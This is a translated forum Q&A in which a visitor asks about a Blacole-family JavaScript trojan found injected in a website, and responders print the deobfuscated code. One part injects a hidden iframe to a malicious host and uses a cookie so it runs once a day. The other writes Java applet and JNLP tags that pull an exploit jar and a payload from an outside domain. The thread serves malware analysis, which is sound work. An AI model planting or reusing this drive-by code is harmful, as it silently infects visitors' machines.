我最近访问了一个网站，该网站的HTML标记内嵌了JS Trojan。McAfee名称为JS / Exploit-Blacole.em，F-Secure名称为Trojan：JS / Agent，MS名称为Trojan：JS / Quidvetis.A。
现在，出于好奇，我看了看特洛伊木马程序的源代码（仅供参考，我在pastebin上发布了一个副本，请看http://pastebin.com/PsLaE4d9）。
令我惊讶的是McAfee网站（http://home.mcafee.com/virusinfo/virusprofile.aspx?key=1317346#none，单击“病毒特征”选项卡上）上的该部分，
同样，此检测使用以下最新注入技术来建立与随机生成的恶意域的连接。
<!--81a338--><!--/81a338-->
木马程序本身似乎在标记中注入了iframe标签，并加载了一些恶意页面。
无论如何，我的问题是，这些XML注释标签起什么作用？肯定有一定理由会在McAfee文章中提及它们吗？此外，是否有可能以某种方式消除对JS代码的混淆并将其转换为人类可读的内容？同样，这只是出于好奇。我只想知道这里发生了什么。
在这里看看
http://wepawet.iseclab.org/view.php?hash=86b656e6ad9d7331acc01a80bf89c6b5&type=js
http://jsunpack.jeek.org/?report=87803db7e6a4d9d0b6190cd5054beda64e3784dd
这些工具将帮助您分析代码
这是完整的已检索且未混淆的代码：
function r09(){
var static = 'ajax';
var controller = 'index.php';
var r = document.createElement('iframe');
r.src = 'http://ecurie80.hostzi.com/Felenne12/clik.php';
r.style.position = 'absolute';
r.style.color = '6675';
r.style.height = '6675px';
r.style.width = '6675px';
r.style.left = '10006675';
r.style.top = '10006675';
if (!document.getElementById('r')){
document.write('<p id=\'r\' class=\'r09\' ></p>');
document.getElementById('r').appendChild(r);
}
}
function SetCookie(cookieName, cookieValue, nDays, path){
var today = new Date();
var expire = new Date();
if (nDays == null || nDays == 0)nDays = 1;
expire.setTime(today.getTime() + 3600000 * 24 * nDays);
document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.
toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie(name){
var start = document.cookie.indexOf(name + "=");
var len = start + name.length + 1;
if ((!start) && (name != document.cookie.substring(0, name.length))){
return null;
}
if (start == - 1)return null;
var end = document.cookie.indexOf(";", len);
if (end == - 1)end = document.cookie.length;
return unescape(document.cookie.substring(len, end));
}
if (navigator.cookieEnabled){
if (GetCookie('visited_uq') == 55){
}
else {
SetCookie('visited_uq', '55', '1', '/');
r09();
}
}
这段代码创建了一个iframe并将其推出视图
该代码每天仅使用Cookie运行一次
http://jsunpack.jeek.org/还是许多安全研究人员（例如Brian Krebs？）使用的出色工具。
Iframe会加载Java漏洞并尝试运行它：
var FPLYKJoQG = {
WdBxtaXWsGnJRm: function (PseXOSDnXPAXRRnkHZs) {
var FIZdpsWVSgyPuFKU = document;
FIZdpsWVSgyPuFKU.write(PseXOSDnXPAXRRnkHZs);
},
wWgsxtVAofesbJwDAY: function (xPTKZBm) {
return xPTKZBm.replace(/355/g, '')
}
};
var SuOmy = FPLYKJoQG.wWgsxtVAofesbJwDAY('355Ja355355355355va355355355355355355355355');
var CHHBPE = z.vvv( SuOmy ).split(',');
var BZTlEHUaD = FPLYKJoQG.wWgsxtVAofesbJwDAY('355355355355j355355355n355355355355355355355355355355355355355355l355p355355355355355355355355355');
var ZNZXaZkfijhQTihemz = FPLYKJoQG.wWgsxtVAofesbJwDAY('355355355355355355355ap355355355355355355355355pl355355355355355355355355355355e355355355355355355t');
if (CHHBPE[1] == 7 && CHHBPE[3] > 9) {
FPLYKJoQG.WdBxtaXWsGnJRm('<' + ZNZXaZkfijhQTihemz + ' height="10" width="10"><param name="' + BZTlEHUaD + '_href" value="d5xs6x0pt9tk85s.jnlp" /><param name="' + BZTlEHUaD + '_embedded" value="PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4NCjxqbmxwIGhyZWY9ImQ1eHM2eDBwdDl0azg1cy5qbmxwIiBzcGVjPSIxLjAiIHhtbG5zOmpmeD0iaHR0cDovL2phdmFmeC5jb20iPg0KICA8aW5mb3JtYXRpb24+DQogICAgPHRpdGxlPjN5ZE5NQW1PSmlLYlNxRmJZMEl0THM8L3RpdGxlPg0KICAgIDx2ZW5kb3I+VzRBcGFXZngxUWwwMXRMbmR1TWFacVpzVGxISlBBVHF4anhNTWYxRG41PC92ZW5kb3I+DQogIDwvaW5mb3JtYXRpb24+DQogICA8cmVzb3VyY2VzPg0KICAgICAgICA8ajJzZSBocmVmPSJodHRwOi8vamF2YS5zdW4uY29tL3Byb2R1Y3RzL2F1dG9kbC9qMnNlIiB2ZXJzaW9uPSIxLjcrIiAvPg0KICAgICAgICA8amFyIGhyZWY9Ii9nb3NzaXBfdXN1YWxseS5qYXIiIG1haW49InRydWUiIC8+DQogIDwvcmVzb3VyY2VzPg0KICA8YXBwbGV0LWRlc2MgbWFpbi1jbGFzcz0id2pycWZzdHJ2a3d3dGxnLnFqdXRnbXFodHV5cGZqbG1kc3BkYmouY2xhc3MiIG5hbWU9IjB5dW1wMXB4ejlwb3kwIiBoZWlnaHQ9IjEwIiB3aWR0aD0iMTAiPg0KICAgICA8cGFyYW0gbmFtZT0iX19hcHBsZXRfc3N2X3ZhbGlkYXRlZCIgdmFsdWU9InRydWUiIC8+DQogIDwvYXBwbGV0LWRlc2M+DQo8L2pubHA+" /><param name="duFJfXw" value="http://aussteigende.tommeade.com:1024/sequence-backwards.txt?e=21" /></' + ZNZXaZkfijhQTihemz + '>');
} else {
FPLYKJoQG.WdBxtaXWsGnJRm('<' + ZNZXaZkfijhQTihemz + ' height="10" code="wjrqfstrvkwwtlg.qjutgmqhtuypfjlmdspdbj.class" archive="/gossip_usually.jar" width="10"><param name="duFJfXw" value="http://aussteigende.tommeade.com:1024/sequence-backwards.txt?e=21" /></' + ZNZXaZkfijhQTihemz + '>');
}
加载d5xs6x0pt9tk85s.jnlp并执行
<applet height="10" width="10"><param name="jnlp_href" value="d5xs6x0pt9tk85ss.jnlp"><param name="jnlp_embedded" value="PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4NCjxqbmxwIGhyZWY9ImQ1eHM2eDBwdDl0azg1cy5qbmxwIiBzcGVjPSIxLjAiIHhtbG5zOmpmeD0iaHR0cDovL2phdmFmeC5jb20iPg0KICA8aW5mb3JtYXRpb24+DQogICAgPHRpdGxlPjN5ZE5NQW1PSmlLYlNxRmJZMEl0THM8L3RpdGxlPg0KICAgIDx2ZW5kb3I+VzRBcGFXZngxUWwwMXRMbmR1TWFacVpzVGxISlBBVHF4anhNTWYxRG41PC92ZW5kb3I+DQogIDwvaW5mb3JtYXRpb24+DQogICA8cmVzb3VyY2VzPg0KICAgICAgICA8ajJzZSBocmVmPSJodHRwOi8vamF2YS5zdW4uY29tL3Byb2R1Y3RzL2F1dG9kbC9qMnNlIiB2ZXJzaW9uPSIxLjcrIiAvPg0KICAgICAgICA8amFyIGhyZWY9Ii9nb3NzaXBfdXN1YWxseS5qYXIiIG1haW49InRydWUiIC8+DQogIDwvcmVzb3VyY2VzPg0KICA8YXBwbGV0LWRlc2MgbWFpbi1jbGFzcz0id2pycWZzdHJ2a3d3dGxnLnFqdXRnbXFodHV5cGZqbG1kc3BkYmouY2xhc3MiIG5hbWU9IjB5dW1wMXB4ejlwb3kwIiBoZWlnaHQ9IjEwIiB3aWR0aD0iMTAiPg0KICAgICA8cGFyYW0gbmFtZT0iX19hcHBsZXRfc3N2X3ZhbGlkYXRlZCIgdmFsdWU9InRydWUiIC8+DQogIDwvYXBwbGV0LWRlc2M+DQo8L2pubHA+"><param name="duFJfXw" value="http://aussteigende.tommeade.coms:1024/sequence-backwards.txt?e=21"></applet>
或者，如果无法加载，请加载gossip_usually.jar文件并加载/执行wjrqfstrvkwwtlg.qjutgmqhtuypfjlmdspdbj.class：
<applet height="10" code="wjrqfstrvkwwtlg.qjutgmqhtuypfjlmdspdbjs.class" archive="/gossip_usuallys.jar" width="10"><param name="duFJfXw" value="http://aussteigende.tommeades.com:1024/sequence-backwards.txt?e=21"></applet>
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我来说两句